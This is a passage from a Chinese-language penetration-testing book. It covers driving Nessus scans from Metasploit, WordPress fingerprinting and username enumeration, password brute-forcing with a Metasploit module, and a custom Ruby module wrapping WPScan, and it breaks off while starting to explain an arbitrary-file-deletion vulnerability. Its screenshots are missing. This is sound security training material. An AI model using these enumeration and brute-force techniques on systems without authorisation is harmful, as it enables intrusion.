• Nessus 简介

• 使用 Metasploit 的 Nessus

• 基本命令

• 修补 Metasploit 库

• 通过 Metasploit 执行 Nessus 扫描

• 使用 Metasploit DB 进行 Nessus 扫描

• 在 Metasploit DB 中导入 Nessus 扫描

技术要求

本章的先决条件如下：

• Metasploit 框架

• *nix 系统/微软 Windows 系统用于主机机器

• Nessus Home Edition 或 Professional Edition

Nessus 简介

Nessus 是由 Tenable 开发的最常见和易于使用的漏洞扫描器之一。这种漏洞扫描器通常用于对网络进行漏洞评估，Tenable Research 已发布了 138,005 个插件，涵盖了 53,957 个 CVE ID 和 30,392 个 Bugtraq ID。大量的 Nessus 脚本（NASL）帮助测试人员扩大他们发现漏洞的范围。Nessus 的一些特点如下：

• 漏洞扫描（网络、Web、云等）

• 资产发现

• 配置审计（MDM、网络等）

• 目标配置

• 恶意软件检测

• 敏感数据发现

• 补丁审计和管理

• 策略合规审计

Nessus 可以从www.tenable.com/downloads/nessus下载。安装完成后，我们必须激活该工具。激活可以通过www.tenable.com/products/nessus/activation-code上的代码完成。

使用 Metasploit 的 Nessus

许多渗透测试人员使用 Nessus，因为它可以与 Metasploit 一起使用。我们可以将 Nessus 与 Metasploit 集成，通过 Metasploit 执行其扫描。在本节中，我们将按照以下步骤将 Nessus 与臭名昭著的 Metasploit 集成：

1. 在继续之前，请确保您已成功安装 Nessus，并且可以从浏览器访问 Nessus Web 界面：

1. 在 Metasploit 中，我们首先要使用load nessus命令在 msfconsole 中加载 Nessus 插件。这将加载 Metasploit 的 Nessus 桥接，如下所示：

1. 要查看插件提供的命令，请在 msfconsole 中执行nessus_help命令，如下所示：

在我们可以对 Nessus 进行漏洞扫描之前，我们需要首先对其进行身份验证，这将在下一小节中完成。

通过 Metasploit 进行 Nessus 身份验证

Metasploit 使用 Nessus RESTful API 与 Nessus Core Engine 进行交互，只有在成功验证后才能完成。可以按以下方式完成：

1. 我们可以使用以下命令语法对 Nessus 进行身份验证：

nessus_connect username:password@hostname:port <ssl_verify/ssl_ignore> 

以下屏幕截图显示了前面命令的输出：

用户名和密码是我们用来登录 Nessus Web 前端的。主机名可以是 Nessus 服务器的 IP 地址或 DNS 名称，端口是 Nessus Web 前端运行的 RPC 端口。默认情况下，它是 TCP 端口8834。

ssl_verify用于验证 Nessus 前端使用的 SSL 证书。默认情况下，服务器使用自签名证书，因此用户应该使用ssl_ignore。如果我们不想一遍又一遍地使用相同的命令，我们可以将凭据保存在 Metasploit 可以用于与 Nessus 进行身份验证的配置文件中。

1. 要保存凭据，我们可以执行nessus_save命令。这将以 YAML 文件格式保存凭据，如下所示：

此 YAML 配置文件的内容如下：

如果我们想要注销，我们可以在 msfconsole 中执行nessus_logout命令，如下所示：

现在我们已经成功通过 Nessus RESTful API 进行了身份验证，我们可以执行一些基本命令来开始。

基本命令

假设我们在一个组织中工作，并且只能通过 Metasploit 终端提供的凭据来访问 Nessus。在这种情况下，最好运行一些基本命令，以了解我们可以做什么和不能做什么。让我们在接下来的步骤中看看这些命令：

1. 我们可以在 msfconsole 中执行的第一个命令是nessus_server_properties。此命令将为我们提供有关扫描仪（类型、版本、UUID 等）的详细信息。根据扫描仪的类型，我们可以设置我们的扫描首选项，如下所示：

1. nessus_server_status命令用于确认扫描仪的状态，以便我们可以确定它是否已准备就绪。这在组织使用具有分布式扫描仪代理的基于云的 Nessus 时非常有帮助。该命令的输出如下截图所示：

1. nessus_admin命令用于检查经过身份验证的用户是否是管理员，如下所示：

1. nessus_folder_list命令用于查看 Nessus 中可供我们使用的目录。运行该命令将给出以下输出：

1. nessus_template_list命令用于列出 Nessus 中所有可用的模板。（注意：我们可以使用-h标志来查看此命令的帮助部分）。可访问的模板将“Subscription Only”设置为TRUE。要使用所有模板，我们必须在线查找订阅。上述命令的输出如下截图所示：

在前面的截图中，-h标志用于查看命令的帮助部分。

1. 要查看在 Nessus 中配置的类别列表，我们执行nessus_family_list命令。执行此命令后，我们将看到所有可用类别（Family Names）及其相应的 Family ID 和插件数量，如下所示：

1. 要列出某个类别中的所有插件，我们可以执行nessus_plugin_list <family ID>命令。这将显示我们在 Nessus 中可以使用的所有插件，如下截图所示：

1. 要详细了解插件，我们可以在 msfconsole 中执行nessus_plugin_details <plugin ID>命令，如下所示：

1. 要列出所有可用的自定义策略，我们可以执行nessus_policy_list命令。这将给我们提供策略 UUID，我们将使用它来执行漏洞扫描。这些策略用于执行自定义扫描。策略 UUID 可用于区分使用多个策略执行的不同扫描，如下所示：

要开始扫描，我们首先需要修补 Metasploit Gem，它负责与 Nessus RESTful API 通信（因为官方补丁尚未发布），以应对我们在运行扫描时可能遇到的错误。这是由@kost（github.com/kost）开发的一个解决方法。如果不修补，Metasploit 将会抛出错误，如下截图所示：

在下一节中，我们将看一下修补 Metasploit 库。

修补 Metasploit 库

自 Nessus 7.0 版本以来，状态更改请求（例如，创建/启动/暂停/停止/删除扫描）受到新的身份验证机制的保护。为了让 Metasploit 遵循新更新的用户身份验证机制，我们需要修补nessus_rest RubyGem。要做到这一点，只需在RubyGems目录中搜索nessus_rest.rb文件。不与 Nessus 的新身份验证机制交互的代码可以在第 152 行找到：

我们需要用这里给出的代码替换第 152 行的代码：

代码可以在这里找到：github.com/kost/nessus_rest-ruby/pull/7/files。

接下来，我们将执行 Nessus 扫描。

通过 Metasploit 执行 Nessus 扫描

现在我们已经修补了 Metasploit 库，让我们使用 Metasploit 进行 Nessus 扫描：

1. 修补完 gem 后，我们现在可以使用nessus_scan_new <策略的 UUID> <扫描名称> <描述> <目标>命令创建一个漏洞扫描任务，如下所示：

1. 任务创建后，我们可以通过执行nessus_scan_list命令来确认。扫描 ID将用于启动任务，所以让我们记下来，如下所示：

1. 让我们通过访问 Nessus web 界面来确认一下相同的内容：

正如我们在前面的截图中看到的，扫描任务已经创建，但尚未启动。

1. 要启动扫描任务，我们需要执行nessus_scan_launch <扫描 ID>命令：

我们已经成功启动了扫描任务。

1. 让我们在 Nessus web 界面上确认一下：

1. 我们可以通过执行nessus_scan_details <扫描 ID> <类别>命令在 msfconsole 中看到与前面截图相同的详情：

可以用以下可用类别来查看扫描详情：

• 信息：一般的扫描信息，包括扫描状态，用于扫描的策略，扫描名称，扫描目标，以及扫描的开始和结束时间

• 漏洞：Nessus 在给定目标上发现的漏洞列表，其中包括用于扫描目标的插件名称及其插件 ID，插件家族（类别）以及在目标上找到的实例总数

以下截图显示了漏洞命令的输出：

• 历史：这是上次启动相同扫描任务的时间。这包括历史 ID，扫描的状态，创建日期和最后修改日期。

以下截图显示了历史命令的输出：

1. 让我们从 Nessus web 界面上确认一下扫描详情：

1. 现在让我们执行nessus_report_hosts <扫描 ID>命令来查看扫描的总体摘要，如下所示：

1. 要获取已识别的漏洞列表，可以执行nessus_report_vulns <scan ID>命令，如下所示：

使用 Metasploit 中的 Nessus 带来了一个好处：能够使用 Metasploit DB 进行扫描。在我们有一个存储在 Metasploit DB 中的目标列表并且想要对这些目标进行漏洞扫描的情况下，这可能非常有用。

使用 Metasploit DB 进行 Nessus 扫描

通过nessus_db_scan <policy ID> <scan name> <scan description>命令，可以将存储在 Metasploit DB 中的所有目标传递给 Nessus。在我们的情况下，我们在 Metasploit DB 中存储了目标192.168.2.1 IP；执行此命令后，Nessus 将开始对存储在 Metasploit DB 中的目标 IP 进行扫描（不仅创建任务，还启动任务）：

按照以下步骤进行：

1. 让我们通过 Nessus web 界面确认前面的执行：

1. 正如我们在前面的截图中所看到的，扫描正在进行中。在我们管理 Metasploit 工作区的情况下，我们可以使用nessus_db_scan_workspace命令。在下面的截图中，我们有一个目标 IP 存储在NESSUS-WEB工作区中：

1. 让我们执行nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>命令，在192.168.2.1上运行扫描，该扫描存储在NESSUS-WEB工作区中：

正如我们在前面的截图中所看到的，我们已经成功创建了一个扫描任务，将扫描存储在NESSUS-WEB工作区中的所有主机。

如果我们执行nessus_db_scan_workspace命令，就必须手动启动扫描任务。

1. 让我们使用nessus_scan_launch <scan ID>命令启动扫描。成功启动扫描任务后，我们将再次使用nessus_scan_details命令获取扫描状态：

正如我们从前面的截图中所看到的，扫描已完成。

扫描结果不会保存在工作区中；相反，我们可以手动导入结果，或者使用nessus_db_import命令导入结果。请记住，只有在使用 Nessus Manager 时，才能访问一些功能。

现在我们已经介绍了如何使用 Metasploit DB 执行 Nessus 扫描，让我们继续下一部分，介绍如何将 Nessus 扫描结果导入 Metasploit DB。

在 Metasploit DB 中导入 Nessus 扫描

当我们没有访问 REST API 时，就会使用这种方法，这些 API 负责将结果直接导入到 DB 中。简单的解决方法如下：

1. 首先，将 Nessus 结果导出到文件中，下载文件，然后使用db_import命令导入相同的文件。

2. 要导出结果，请使用nessus_scan_export <scan ID> <export format>命令。（可用的导出格式为 Nessus、HTML、PDF、CSV 或 DB）。在过程中将分配文件 ID。

3. 导出准备就绪后，执行nessus_scan_report_download <scan ID> <file ID>命令：

正如我们在前面的截图中所看到的，我们已将结果导出为 Nessus 格式并下载了文件。

1. 现在，使用db_import命令导入相同的文件。

2. 接下来，让我们执行vulns命令，确认 Nessus 结果是否已成功导入到 DB 中：

1. 我们还可以通过执行hosts和services命令来确认前面的方法是否有效，如下所示：

如果使用正确，我们可以通过点击按钮（当然，还包括自定义的 Metasploit 脚本来管理项目和自动化）来高效地管理 VA 项目。

总结

在本章中，我们首先介绍了 Nessus 桥。然后我们学习了如何配置桥接。接下来，我们看到了如何从 Metasploit 控制台启动 Nessus 扫描，最后，我们学习了如何将扫描结果导入 Metasploit 数据库以供进一步使用。

在下一章中，我们将学习如何对内容管理系统（CMS）进行渗透测试，首先从流行的系统 WordPress 开始。

问题

1. 我需要在系统上安装 Nessus 才能与 Metasploit 一起运行吗？

2. 我可以在 Metasploit 中使用其他漏洞扫描器代替 Nessus 吗？

3. Nessus 专业版可以与 Metasploit 一起使用吗？

4. 我可以通过 Metasploit 扫描多少个系统？

进一步阅读

以下链接是关于 Nessus 的官方博客文章，解释了为什么以及如何将 Nessus 与 Metasploit 一起使用：

www.tenable.com/blog/using-nessus-and-metasploit-together

第十章：内容管理系统（CMS）的渗透测试

内容管理系统（CMS）如 Drupal，WordPress，Magento 和 Joomla 非常受欢迎，非常适合编辑内容。然而，如果它们的安全性没有得到定期维护和检查，这些系统也很容易受到黑客的攻击。本节将详细介绍 CMS 的渗透测试，以及 CMS 中一些常见的漏洞和曝光（CVEs）。

本节包括以下章节：

• 第八章，CMS 渗透测试 - WordPress

• 第九章，CMS 渗透测试 - Joomla

• 第十章，CMS 渗透测试 - Drupal

第十一章：渗透测试 CMS-WordPress

CMS 代表内容管理系统-用于管理和修改数字内容的系统。它支持多个用户、作者和订阅者的协作。互联网上使用了许多 CMS，其中一些主要的是 WordPress、Joomla、PHPNuke 和AEM（Adobe Experience Manager）。在本章中，我们将研究一个著名的 CMS，WordPress。我们将看看如何对这个 CMS 进行渗透测试。

我们将在本章中涵盖以下主题：

• WordPress 架构简介

• 使用 Metasploit 进行 WordPress 侦察和枚举

• WordPress 的漏洞扫描

• WordPress 利用

• 自定义 Metasploit 漏洞

技术要求

以下是本章的先决条件：

• Metasploit 框架

• 安装的 WordPress CMS

• 配置了数据库服务器（建议使用 MySQL）

• 基本的 Linux 命令知识

WordPress 简介

WordPress 是一个开源的 CMS，使用 PHP 作为前端，MySQL 作为后端。它主要用于博客，但也支持论坛、媒体库和在线商店。WordPress 由其创始人 Matt Mullenweg 和 Mike Little 于 2003 年 5 月 27 日发布。它还包括插件架构和模板系统。WordPress 插件架构允许用户扩展其网站或博客的功能和功能。截至 2019 年 2 月，WordPress.org 有 54,402 个免费插件和 1500 多个付费插件。WordPress 用户还可以自由创建和开发自己的自定义主题，只要他们遵循 WordPress 标准。

在查看 WordPress 枚举和利用之前，让我们首先了解 WordPress 运行的架构。

WordPress 架构

WordPress 架构可以分为四个主要部分：

让我们看看各个部分：

• 显示：这包含对用户可见的 HTML、CSS 和 JavaScript 文件。

• 主题/模板：这包括表单、主题文件、不同的 WordPress 页面和部分，如评论、页眉、页脚和错误页面。

• WP-Engine：这个引擎负责整个 CMS 的核心功能，例如 RSS 订阅、与数据库通信、设置、文件管理、媒体管理和缓存。

• WP-Backend：这包括数据库、PHP 邮件程序 cron 作业和文件系统。

现在，让我们看看目录结构。

文件/目录结构

浏览 WordPress 目录将给我们一个文件/文件夹结构，如下截图所示：

让我们快速浏览一下这些文件夹和文件。

基本文件夹

让我们把这称为根目录。该目录包含三个文件夹，即wp-admin、wp-content和wp-includes，以及一堆 PHP 文件，包括最重要的wp-config.php。

基本文件夹包含 WordPress 核心操作所需的所有其他 PHP 文件和类。

wp-includes

wp-includes 文件夹包含所有其他 PHP 文件和类，这些文件和类由前端使用，并且由 WordPress 核心所需。

wp-admin

该文件夹包含 WordPress 仪表板的文件，用于执行所有管理任务，如撰写帖子、审核评论以及安装插件和主题。只有注册用户才能访问仪表板。

wp-content

wp-content文件夹包含所有用户上传的数据，并再次分为三个子文件夹：

• themes

• plugins

• uploads

themes目录包含安装在我们的 WordPress 网站上的所有主题。默认情况下，WordPress 带有两个主题：Twenty Twelve 和 Twenty Thirteen。

同样，plugins文件夹用于存储安装在我们的 WordPress 网站上的所有插件。自从我们启动网站以来上传的所有图像（和其他媒体文件）将存储在uploads目录中。这些按日，月和年分类。

现在您对 WordPress 的架构和文件/目录结构有了基本的了解，让我们开始渗透测试。

WordPress 侦察和枚举

在开始利用 WordPress 的任何插件/主题/核心漏洞之前，第一步是确认网站是否在 WordPress 上。至于检测 WordPress 本身，有各种方法可以检测 WordPress CMS 的安装：

• 在 HTML 页面源代码中搜索wp-content字符串。

• 查找/wp-trackback.php或/wp-links-opml.php文件名 - 在 WordPress 安装的情况下它们返回 XML。

• 您还可以尝试/wp-admin/admin-ajax.php和/wp-login.php。

• 查找静态文件，如readme.html和/wp-includes/js/colorpicker.js。

一旦确认网站正在运行 WordPress，下一步就是了解目标服务器上运行的 WordPress 版本。为了实现这一点，您需要知道可以检测其版本号的不同方法。为什么要版本号？因为根据安装在目标服务器上的 WordPress 版本，您可以测试可能公开或可能不公开的基于插件或 WordPress 核心的漏洞。

版本检测

每个 WordPress 安装都带有一个版本号。在最新的 WordPress 版本中，默认情况下隐藏了版本号，但我们仍然可以枚举版本。在本节中，您将学习一些识别正在运行的 WordPress 版本的方法。

一些最常见的侦察技术是Readme.html，meta generator，feed（RDF，Atom 和 RSS），插件和主题（JS 和 CSS ver）以及哈希匹配。

Readme.html

这是最简单的技术。我们所要做的就是访问readme.html页面，它会在中心披露版本号。该文件的原始目的是向 CMS 的首次用户提供有关如何继续安装和使用 WordPress 的信息。一旦安装和设置完成，它应该被删除。在使用任何工具（包括 Metasploit）之前，始终检查 WordPress 安装的版本号，然后再执行任何形式的利用。

因此，请确保您知道您要进行渗透测试的版本。您可以在以下截图中看到readme.html的示例：

接下来，我们将看 meta generator。

Meta generator

generator名称属性的元标记通常被描述为用于生成文档/网页的软件。确切的版本号在元标记的content属性中披露。基于 WordPress 的网站通常在其源代码中具有此标记，如下面的截图所示：

接下来，我们将看到如何通过 JavaScript 和 CSS 文件获取版本。

通过 JavaScript 和 CSS 文件获取版本

找到版本号的另一种方法是查看以下文件的源代码。以下文件请求 JS 和 CSS 文件：

• wp-admin/install.php

• wp-admin/upgrade.php

• wp-login.php

这些在其ver参数中披露了确切的版本号，如下面的截图所示：

接下来，我们将看到如何通过 feed 获取版本。

通过 feed 获取版本

有时，版本信息也可能在网站的 feed 中披露。以下文件路径可用于披露版本信息：

• /index.php/feed/

• /index.php/feed/rss/

• /index.php/feed/rss2/

• /index.php/comments/feed/

• /index.php/feed/rdf/（文件是本地下载的）

• /index.php/feed/atom/

• /?feed=atom

• /?feed=rss

• /?feed=rss2

• /?feed=rdf

以下截图显示了通过 feeds 披露的版本信息：

接下来，我们将看一下 OPML。

使用大纲处理标记语言（OPML）

OPML 是大纲处理标记语言（定义为每个节点包含一组具有字符串值的命名属性的树*）。以下文件允许 WordPress 从其他网站导入链接，只要它们以 OPML 格式存在，但访问此文件也会披露版本信息（在 HTML 注释标签之间），如下截图所示：

/wp-links-opml.php

这可以在以下截图中看到：

接下来，我们将看一下高级指纹识别。

唯一/高级指纹识别

这是另一种指纹识别 WordPress 确切版本的方法。顾名思义，这种技术非常独特。它是通过计算静态文件的哈希值，并将其与不同版本的 WordPress 发布中相同静态文件的哈希值进行比较来完成的。您可以通过执行以下命令来执行此操作：

要比较哈希值，请参阅以下 GitHub 存储库：github.com/philipjohn/exploit-scanner-hashes。

使用 Metasploit 进行 WordPress 侦察

Metasploit 有一个用于获取版本号的 WordPress 扫描器模块，wordpress_scanner。

让我们为此模块设置选项：

一切准备就绪后，让我们运行它：

这是一个非常简单的扫描程序，尝试使用先前提到的技术找到版本号。

既然我们有了版本号，您可以参考以下案例研究，了解如何枚举和利用 WordPress 的漏洞。给出的漏洞都有详细解释。

使用 Metasploit 进行 WordPress 枚举

以下是攻击面，您可以在枚举时专注的地方：

• 用户名

• 主题

• 插件

使用 Metasploit 模块auxiliary/scanner/http/wordpress_login_enum，按照以下步骤操作：

1. 您可以尝试暴力破解用户名，也可以枚举用户名：

1. 让我们设置选项，只枚举用户名并运行模块：

1. 您现在可以尝试使用字典进行暴力破解。模块的默认选项使其能够执行暴力破解攻击：

1. 现在让我们设置选项。我们已经设置了从前面的枚举方法中找到的用户名：

1. 对于密码字典，使用set PASS_FILE <file>命令并运行模块：

在下一节中，我们将看一下漏洞评估扫描。

WordPress 漏洞评估

Metasploit 没有可以执行漏洞评估扫描的模块。但是，您可以编写一个充当第三方工具（如 WPscan）包装器的 Metasploit 模块，用于漏洞评估扫描。

我们编写了一个自定义的 Metasploit 模块，执行时将运行 WPscan，解析输出并打印出来。虽然该模块只是一个粗糙的包装代码，但您可以根据需要进一步修改它。以下是自定义 Metasploit 模块的示例代码：

1. 我们将首先添加所需的库，如下所示：

require 'open3'
require 'fileutils'
require 'json'
require 'pp'

1. 然后，我们添加 Metasploit 的Auxiliary类：

class MetasploitModule < Msf::Auxiliary
 include Msf::Auxiliary::Report

1. 我们定义模块的信息部分：

def initialize
 super(
 'Name' => 'Metasploit WordPress Scanner (WPscan)',
 'Description' => 'Runs wpscan via Metasploit',
 'Author' => [ 'Harpreet Singh', 'Himanshu Sharma' ]
 )

1. 在这里，我们将添加模块的options部分，通过它我们可以为测试添加目标 URL：

register_options(
 [
     OptString.new('TARGET_URL', [true, 'The target URL to be scanned using wpscan'])
 ]
 )
 end

1. 接下来，我们定义target_url方法，该方法将存储用户选项TARGET_URL：

def target_url
 datastore['TARGET_URL']
end

1. 我们还定义了find_wpscan_path方法，该方法将在系统中查找wpscan文件：

def find_wpscan_path
 Rex::FileUtils.find_full_path("wpscan")
end

1. 接下来，我们添加辅助模块执行方法run，并检查系统中是否安装了wpscan：

def run
 wpscan = find_wpscan_path
 if wpscan.nil?
 print_error("Please install wpscan gem via: gem install wpscan")
 end

如果找到wpscan，模块将首先创建一个带有随机字符的临时文件：

tmp_file_name = Rex::Text.rand_text_alpha(10)

1. 以下是wpscan执行块。这里将使用用户选项创建一个wpscan进程：

cmd = [ wpscan, "--url", target_url, "-o", "#{tmp_file_name}", "-f", "json", "--force" ]
 ::IO.popen(cmd, "rb") do |fd|
     print_status("Running WPscan on #{target_url}")
     print_line("\t\t\t\t(This may take some time)\n")
     fd.each_line do |line|
         print_status("Output: #{line.strip}")
     end
 end

执行完成后，模块将读取包含wpscan输出的临时文件：

json = File.read("/tmp/#{tmp_file_name}")

1. 现在，我们添加将解析 JSON 输出的代码块：

obj = JSON.parse(json)
 i = 0
 print_line("\n")
 print_status("-------------------------------------")
 print_status("Looking for some Interesting Findings")
 print_status("-------------------------------------")
 obj = obj.compact

在这里，我们正在查找 JSON 输出中的interesting_findings数组。我们将使用此数组打印在 WordPress 目标站点中发现的漏洞的详细信息：

 while (i <= obj['interesting_findings'].length) do
     if obj['interesting_findings'][i]['type'] == 'headers' && !(obj['interesting_findings'][i].nil?)
         obj['interesting_findings'][i]['interesting_entries'].each { |x|                     print_good("Found Some Interesting Enteries via Header detection: #{x}")}
         i += 1
     elsif obj['interesting_findings'][i]['type'] == 'robots_txt' && (!obj['interesting_findings'][i].nil?)
         obj['interesting_findings'][i]['interesting_entries'].each { |x| print_good("Found Some Interesting Enteries via robots.txt: #{x}")}
         i += 1
     else
         break
     end
 end

1. 我们添加了检查 JSON 输出中的version数组并解析 WordPress 版本的代码块：

 print_line("\n")
 print_status("--------------------------------------")
 print_status("Looking for the WordPress version now")
 print_status("--------------------------------------")
 if !(obj['version'].nil?)
     print_good("Found WordPress version: " + obj['version']['number'] + " via " + obj['version']['found_by'])
 else
     print_error("Version not found")
 end

我们解析了wpscan发现的漏洞总数，并打印出来（包括引用和 CVE 链接）：

 print_status "#{obj['version']['vulnerabilities'].count} vulnerabilities identified:"
 obj['version']['vulnerabilities'].each do |x|
 print_error("\tTitle: #{x['title']}")
 print_line("\tFixed in: #{x['fixed_in']}")
 print_line("\tReferences:")
 x['references'].each do |ref|
 if ref[0].include?'cve'
     print_line("\t\t- https://cve.mitre.org/cgi-bin/cvename.cgi?name=#{ref[1][0]}")
 elsif ref[0].include?'url'
     ref[1].each do |e|
     print_line("\t\t- #{e}")
 end
 elsif ref[0].include?'wpvulndb'
     print_line("\t\t- https://wpvulndb.com/vulnerabilities/#{ref[1][0]}")
 end
 end
 print_line("\n")
 end

1. 我们添加了用于检查已安装主题的代码块，使用wpscan：

 print_line("\n")
 print_status("------------------------------------------")
 print_status("Checking for installed themes in WordPress")
 print_status("------------------------------------------")
 if !(obj['main_theme'].nil?)
     print_good("Theme found: " + "\"" + obj['main_theme']['slug'] + "\"" + " via " + obj['main_theme']['found_by'] + " with version: " + obj['main_theme']['version']['number'])
 else
     print_error("Theme not found")
 end

我们还添加了使用wpscan枚举已安装插件的代码块：

 print_line("\n")
 print_status("---------------------------------")
 print_status("Enumerating installed plugins now")
 print_status("---------------------------------")
 if !(obj['plugins'].nil?)
     obj['plugins'].each do |x|
     if !x[1]['version'].nil?
         print_good "Plugin Found: #{x[0]}"
         print_status "\tPlugin Installed Version: #{x[1]['version']['number']}"
         if x[1]['version']['number'] < x[1]['latest_version']
             print_warning "\tThe version is out of date, the latest version is #{x[1]['latest_version']}"
         elsif x[1]['version']['number'] == x[1]['latest_version']
             print_status "\tLatest Version: #{x[1]['version']['number']} (up to date)"
         else
             print_status "\tPlugin Location: #{x[1]['location']}"
         end 
    else
     print_good "Plugin Found: #{x[0]}, Version: No version found"
 end

1. 然后，我们添加了查找已安装插件中发现的漏洞并根据 CVE 和引用 URL（包括exploit-db URL）进行映射的代码块：

 if x[1]['vulnerabilities'].count > 0
     print_status "#{x[1]['vulnerabilities'].count} vulnerabilities identified:"
 x[1]['vulnerabilities'].each do |b|
     print_error("\tTitle: #{b['title']}")
     print_line("\tFixed in: #{b['fixed_in']}")
     print_line("\tReferences:")
     b['references'].each do |ref2|
     if ref2[0].include?'cve'
         print_line("\t\t- https://cve.mitre.org/cgi-bin/cvename.cgi?name=#{ref2[1][0]}")
     elsif ref2[0].include?'url'
         ref2[1].each do |f|
         print_line("\t\t- #{f}")
     end
 elsif ref2[0].include?'exploitdb'
     print_line("\t\t- https://www.exploit-db.com/exploits/#{ref2[1][0]}/")
 elsif ref2[0].include?'wpvulndb'
     print_line("\t\t- https://wpvulndb.com/vulnerabilities/#{ref2[1][0]}")
 end
 end
 print_line("\n")
 end

 end
 end
 else
     print_error "No plugin found\n"
 end

1. 一切都完成后，删除此模块创建的临时文件：

File.delete("/tmp/#{tmp_file_name}") if File.exist?("/tmp/#{tmp_file_name}")
 end
end

以下是 WPscan 辅助模块的完整代码：

require 'open3'
require 'fileutils'
require 'json'
require 'pp'
class MetasploitModule < Msf::Auxiliary
 include Msf::Auxiliary::Report

 def initialize
 super(
 'Name' => 'Metasploit WordPress Scanner (WPscan)',
 'Description' => 'Runs wpscan via Metasploit',
 'Author' => [ 'Harpreet Singh', 'Himanshu Sharma' ]
 )

 register_options(
 [
     OptString.new('TARGET_URL', [true, 'The target URL to be scanned using wpscan'])
 ]
 )
 end

 def target_url
     datastore['TARGET_URL']
 end

 def find_wpscan_path
     Rex::FileUtils.find_full_path("wpscan")
 end

 def run
     wpscan = find_wpscan_path
     if wpscan.nil?
         print_error("Please install wpscan gem via: gem install wpscan")
     end
     tmp_file_name = Rex::Text.rand_text_alpha(10)
     cmd = [ wpscan, "--url", target_url, "-o", "#{tmp_file_name}", "-f", "json", "--force" ]
     ::IO.popen(cmd, "rb") do |fd|
         print_status("Running WPscan on #{target_url}")
         print_line("\t\t\t\t(This may take some time)\n")
         fd.each_line do |line|
             print_status("Output: #{line.strip}")
         end
 end

 json = File.read("/tmp/#{tmp_file_name}")
 obj = JSON.parse(json)
 i = 0
 print_line("\n")
 print_status("-------------------------------------")
 print_status("Looking for some Interesting Findings")
 print_status("-------------------------------------")
 obj = obj.compact
 while (i <= obj['interesting_findings'].length) do
     if obj['interesting_findings'][i]['type'] == 'headers' && !(obj['interesting_findings'][i].nil?)
         obj['interesting_findings'][i]['interesting_entries'].each { |x| print_good("Found Some Interesting Enteries via Header detection: #{x}")}
         i += 1
     elsif obj['interesting_findings'][i]['type'] == 'robots_txt' && (!obj['interesting_findings'][i].nil?)
         obj['interesting_findings'][i]['interesting_entries'].each { |x| print_good("Found Some Interesting Enteries via robots.txt: #{x}")}
         i += 1
     else
         break
     end
 end

 print_line("\n")
 print_status("--------------------------------------")
 print_status("Looking for the WordPress version now")
 print_status("--------------------------------------")
 if !(obj['version'].nil?)
     print_good("Found WordPress version: " + obj['version']['number'] + " via " + obj['version']['found_by'])
 else
     print_error("Version not found")
 end
 print_status "#{obj['version']['vulnerabilities'].count} vulnerabilities identified:"
 obj['version']['vulnerabilities'].each do |x|
 print_error("\tTitle: #{x['title']}")
 print_line("\tFixed in: #{x['fixed_in']}")
 print_line("\tReferences:")
 x['references'].each do |ref|
 if ref[0].include?'cve'
     print_line("\t\t- https://cve.mitre.org/cgi-bin/cvename.cgi?name=#{ref[1][0]}")
 elsif ref[0].include?'url'
     ref[1].each do |e|
     print_line("\t\t- #{e}")
 end
 elsif ref[0].include?'wpvulndb'
     print_line("\t\t- https://wpvulndb.com/vulnerabilities/#{ref[1][0]}")
 end
 end
 print_line("\n")
 end
 print_line("\n")

 print_status("------------------------------------------")
 print_status("Checking for installed themes in WordPress")
 print_status("------------------------------------------")
 if !(obj['main_theme'].nil?)
     print_good("Theme found: " + "\"" + obj['main_theme']['slug'] + "\"" + " via " + obj['main_theme']['found_by'] + " with version: " + obj['main_theme']['version']['number'])
 else
     print_error("Theme not found")
 end
 print_line("\n")
 print_status("---------------------------------")
 print_status("Enumerating installed plugins now")
 print_status("---------------------------------")
 if !(obj['plugins'].nil?)
     obj['plugins'].each do |x|
 if !x[1]['version'].nil?
     print_good "Plugin Found: #{x[0]}"
     print_status "\tPlugin Installed Version: #{x[1]['version']['number']}"
     if x[1]['version']['number'] < x[1]['latest_version']
         print_warning "\tThe version is out of date, the latest version is #{x[1]['latest_version']}"
     elsif x[1]['version']['number'] == x[1]['latest_version']
         print_status "\tLatest Version: #{x[1]['version']['number']} (up to date)"
     else
         print_status "\tPlugin Location: #{x[1]['location']}"
     end 
 else
     print_good "Plugin Found: #{x[0]}, Version: No version found"
 end
 if x[1]['vulnerabilities'].count > 0
     print_status "#{x[1]['vulnerabilities'].count} vulnerabilities identified:"
 x[1]['vulnerabilities'].each do |b|
     print_error("\tTitle: #{b['title']}")
     print_line("\tFixed in: #{b['fixed_in']}")
     print_line("\tReferences:")
     b['references'].each do |ref2|
     if ref2[0].include?'cve'
         print_line("\t\t- https://cve.mitre.org/cgi-bin/cvename.cgi?name=#{ref2[1][0]}")
     elsif ref2[0].include?'url'
         ref2[1].each do |f|
             print_line("\t\t- #{f}")
         end
     elsif ref2[0].include?'exploitdb'
         print_line("\t\t- https://www.exploit-db.com/exploits/#{ref2[1][0]}/")
     elsif ref2[0].include?'wpvulndb'
         print_line("\t\t- https://wpvulndb.com/vulnerabilities/#{ref2[1][0]}")
     end
 end

 print_line("\n")
 end
 end
 end
 else
     print_error "No plugin found\n"
 end
 File.delete("/tmp/#{tmp_file_name}") if File.exist?("/tmp/#{tmp_file_name}")
 end
end

以下是运行我们刚创建的自定义模块的步骤：

1. 将模块复制到<path_to_metasploit>/modules/auxiliary/scanner/wpscan.rb并启动 Metasploit：

1. 设置选项并运行模块：

该模块还解析插件信息：

该模块不会将信息保存在数据库中，因此如果您愿意，可以自定义它来执行。该模块的唯一目的是枚举插件、主题和 WordPress 版本，并查找漏洞。在下一节中，我们将介绍利用。

WordPress 利用部分 1-WordPress 任意文件删除

现在您已经了解了如何识别 WordPress 版本，让我们详细了解一些利用 WordPress 的方法。我们还将讨论利用过程的工作原理。

我们首先来看一下WordPress 任意文件删除漏洞。此漏洞允许任何经过身份验证的用户从服务器上删除文件。攻击者可以利用这一点来执行命令。让我们看看这个利用是如何工作的以及如何实现命令执行。

以下屏幕截图显示了在我们的本地主机上运行的 WordPress 博客：

漏洞实际上是一个二次文件删除，我们上传和编辑图像，然后将我们文件的路径放入元数据中。当图像被删除时，WordPress 调用 unlink 函数自动删除包含我们文件路径的元数据，因此文件也被删除。让我们看一下基本的漏洞流程。

漏洞流程和分析

我们将深入挖掘此漏洞的根本原因。看一下wp-admin/post.php文件的以下屏幕截图。在这里，未经过滤的输入来自用户并存储在$newmeta中：

在wp-includes/post.php文件中，相同的输入被传递给wp_update_attachment_metadata()，以作为序列化值存储在数据库中，meta_key：

